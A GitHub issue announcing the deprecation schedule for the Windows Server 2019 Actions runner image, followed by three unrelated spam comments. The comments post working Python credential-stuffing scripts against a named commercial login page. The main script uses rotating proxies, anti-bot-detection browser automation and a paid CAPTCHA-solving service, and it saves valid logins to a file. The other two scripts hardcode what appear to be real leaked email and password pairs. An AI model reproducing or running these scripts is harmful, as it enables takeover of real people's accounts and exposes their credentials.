Skip to content

The Windows 2019 Actions runner image will begin deprecation on 2025-06-01 and will be fully unsupported by 2025-06-30 #12045

New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Open
3 of 14 tasks
subir0071 opened this issue Apr 15, 2025 · 3 comments

Comments

@subir0071
Copy link
Contributor

Breaking changes

We will soon start the deprecation process for Windows 2019. While the image is being deprecated, you may experience longer queue times during peak usage hours. Deprecation will begin on 2025-06-01 and the image will be fully unsupported by 2025-06-30.

To raise awareness of the upcoming removal, we will temporarily fail jobs using windows 2019. Builds that are scheduled to run during the brownout periods will fail. The brownouts are scheduled for the following dates and times:

  • June 3 13:00 - 21:00 UTC
  • June 10 13:00-21:00 UTC
  • June 17 13:00-21:00 UTC
  • June 24 13:00-21:00 UTC

Target date

Final retirement date:
2025-06-30

The motivation for the changes

We maintain the latest two stable versions of any given OS version. Windows 2025 is moved to GA on 2025-04-07 so we start deprecating the oldest image at that time.

Possible impact

Workflows using the windows-2019 image label should be updated to windows-2022 or windows-2025.

Platforms affected

  • Azure DevOps
  • GitHub Actions

Runner images affected

  • Ubuntu 20.04
  • Ubuntu 22.04
  • Ubuntu 24.04
  • macOS 13
  • macOS 13 Arm64
  • macOS 14
  • macOS 14 Arm64
  • macOS 15
  • macOS 15 Arm64
  • Windows Server 2019
  • Windows Server 2022
  • Windows Server 2025

Mitigation ways

N/A

@MrDot33
Copy link

MrDot33 commented Apr 27, 2025

import undetected_chromedriver as uc
import time
import random
import requests
from selenium.webdriver.common.by import By
from concurrent.futures import ThreadPoolExecutor, as_completed

SETTINGS

login_url = "https://auth.lusha.com/login"
accounts_file = "accounts.txt"
proxies_file = "proxies.txt"
headless_mode = False
max_retries = 3
threads = 10
captcha_api_key = "YOUR_2CAPTCHA_API_KEY" # <-- put your 2Captcha API Key here

Load accounts

def load_accounts(filename):
accounts = []
with open(filename, "r") as file:
for line in file:
if ":" in line:
username, password = line.strip().split(":", 1)
accounts.append((username, password))
return accounts

Load proxies

def load_proxies(filename):
proxies = []
with open(filename, "r") as file:
for line in file:
proxy = line.strip()
if proxy:
proxies.append(proxy)
return proxies

Create browser

def create_browser(proxy=None):
options = uc.ChromeOptions()
options.headless = headless_mode
options.add_argument("--no-sandbox")
options.add_argument("--disable-blink-features=AutomationControlled")
options.add_argument("--disable-dev-shm-usage")
if proxy:
options.add_argument(f'--proxy-server=http://{proxy}')
print(f"[*] Using proxy: {proxy}")
browser = uc.Chrome(options=options)
return browser

Solve Captcha using 2Captcha

def solve_captcha(sitekey, url):
print("[*] Solving CAPTCHA...")
s = requests.Session()
captcha_id = s.post("http://2captcha.com/in.php", data={
"key": captcha_api_key,
"method": "userrecaptcha",
"googlekey": sitekey,
"pageurl": url,
"json": 1
}).json()

if captcha_id["status"] != 1:
    print(f"[!] Captcha Error: {captcha_id}")
    return None

request_id = captcha_id["request"]

for _ in range(20):
    time.sleep(5)
    res = s.get("http://2captcha.com/res.php", params={
        "key": captcha_api_key,
        "action": "get",
        "id": request_id,
        "json": 1
    }).json()
    if res["status"] == 1:
        print("[+] Captcha Solved!")
        return res["request"]

print("[!] Captcha solving failed.")
return None

Get captcha sitekey dynamically

def get_sitekey(browser):
try:
element = browser.find_element(By.CSS_SELECTOR, ".g-recaptcha, [data-sitekey]")
sitekey = element.get_attribute("data-sitekey")
if sitekey:
print(f"[+] Found CAPTCHA sitekey: {sitekey}")
return sitekey
except Exception as e:
print("[!] No CAPTCHA sitekey found.")
return None

Inject token into page

def inject_captcha_token(browser, token):
try:
browser.execute_script(f'document.getElementById("g-recaptcha-response").innerHTML="{token}";')
print("[+] Injected CAPTCHA token successfully!")
except Exception as e:
print("[!] Failed injecting CAPTCHA token, trying advanced method...")
# Advanced: create it manually if not found
script = '''
var recaptchaResponse = document.createElement("textarea");
recaptchaResponse.id = "g-recaptcha-response";
recaptchaResponse.name = "g-recaptcha-response";
recaptchaResponse.style = "width: 250px; height: 40px;";
document.body.appendChild(recaptchaResponse);
recaptchaResponse.innerHTML = arguments[0];
'''
browser.execute_script(script, token)
print("[+] Injected CAPTCHA token with advanced method!")

Perform login check

def login_check(username, password):
retries = 0
while retries < max_retries:
proxy = random.choice(proxies) if proxies else None
try:
browser = create_browser(proxy)
browser.get(login_url)
time.sleep(3)

        sitekey = get_sitekey(browser)
        if sitekey:
            token = solve_captcha(sitekey, login_url)
            if token:
                inject_captcha_token(browser, token)

        email_field = browser.find_element(By.NAME, "email")
        password_field = browser.find_element(By.NAME, "password")

        email_field.clear()
        password_field.clear()

        email_field.send_keys(username)
        password_field.send_keys(password)

        submit_button = browser.find_element(By.XPATH, "//button[@type='submit']")
        submit_button.click()

        time.sleep(5)

        if "dashboard" in browser.current_url.lower() or "dashboard" in browser.page_source.lower():
            print(f"[+] SUCCESS: {username}:{password}")
            with open("good.txt", "a") as good_file:
                good_file.write(f"{username}:{password}\n")
            browser.quit()
            return
        elif "invalid email or password" in browser.page_source.lower():
            print(f"[-] FAILED: {username}:{password}")
            with open("bad.txt", "a") as bad_file:
                bad_file.write(f"{username}:{password}\n")
            browser.quit()
            return
        else:
            print(f"[?] UNKNOWN RESULT: {username}:{password}")
            browser.quit()
            retries += 1
            time.sleep(random.uniform(2, 5))

    except Exception as e:
        print(f"[!] Error: {str(e)} - Retry {retries+1}/{max_retries}")
        try:
            browser.quit()
        except:
            pass
        retries += 1
        time.sleep(random.uniform(2, 5))
print(f"[x] Max retries reached for {username}:{password} - Skipping...")

Main Execution

if name == "main":
accounts = load_accounts(accounts_file)
proxies = load_proxies(proxies_file)

with ThreadPoolExecutor(max_workers=threads) as executor:
    future_to_account = {executor.submit(login_check, user, pwd): (user, pwd) for user, pwd in accounts}
    for future in as_completed(future_to_account):
        user, pwd = future_to_account[future]
        try:
            future.result()
        except Exception as exc:
            print(f'[!] Exception for {user}:{pwd} -> {exc}')

print("\n✅ Finished checking all accounts!")

@MrDot33
Copy link

MrDot33 commented Apr 27, 2025

import undetected_chromedriver.v2 as uc
from selenium.webdriver.common.by import By
import time

Website URL

login_url = "https://auth.lusha.com/login"

Define the accounts directly in the script

accounts = [
("[email protected]", "P@mel@200"),
("[email protected]", "Coolarpit@1"),
("[email protected]", "583Heslo")
]

Function to perform login check

def login_check(username, password):
options = uc.ChromeOptions()
options.add_argument("--headless") # Run headless for no browser UI
driver = uc.Chrome(options=options)

# Open the login page
driver.get(login_url)
time.sleep(2)  # Wait for the page to load

# Find username and password fields
username_field = driver.find_element(By.NAME, "email")
password_field = driver.find_element(By.NAME, "password")

# Enter credentials
username_field.send_keys(username)
password_field.send_keys(password)

# Click login button
login_button = driver.find_element(By.XPATH, "//button[@type='submit']")
login_button.click()

# Wait for the login attempt to complete
time.sleep(5)

# Check if login was successful (example: by checking URL or page content)
if "dashboard" in driver.current_url or "dashboard" in driver.page_source:
    print(f"[+] Login successful for {username}")
else:
    print(f"[-] Login failed for {username}")

# Close the browser
driver.quit()

Main function to run login checks for all accounts

def check_all_accounts():
for username, password in accounts:
login_check(username, password)

Run the function

check_all_accounts()

1 similar comment
@MrDot33
Copy link

MrDot33 commented Apr 27, 2025

import undetected_chromedriver.v2 as uc
from selenium.webdriver.common.by import By
import time

Website URL

login_url = "https://auth.lusha.com/login"

Define the accounts directly in the script

accounts = [
("[email protected]", "P@mel@200"),
("[email protected]", "Coolarpit@1"),
("[email protected]", "583Heslo")
]

Function to perform login check

def login_check(username, password):
options = uc.ChromeOptions()
options.add_argument("--headless") # Run headless for no browser UI
driver = uc.Chrome(options=options)

# Open the login page
driver.get(login_url)
time.sleep(2)  # Wait for the page to load

# Find username and password fields
username_field = driver.find_element(By.NAME, "email")
password_field = driver.find_element(By.NAME, "password")

# Enter credentials
username_field.send_keys(username)
password_field.send_keys(password)

# Click login button
login_button = driver.find_element(By.XPATH, "//button[@type='submit']")
login_button.click()

# Wait for the login attempt to complete
time.sleep(5)

# Check if login was successful (example: by checking URL or page content)
if "dashboard" in driver.current_url or "dashboard" in driver.page_source:
    print(f"[+] Login successful for {username}")
else:
    print(f"[-] Login failed for {username}")

# Close the browser
driver.quit()

Main function to run login checks for all accounts

def check_all_accounts():
for username, password in accounts:
login_check(username, password)

Run the function

check_all_accounts()

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Projects
None yet
Development

No branches or pull requests

3 participants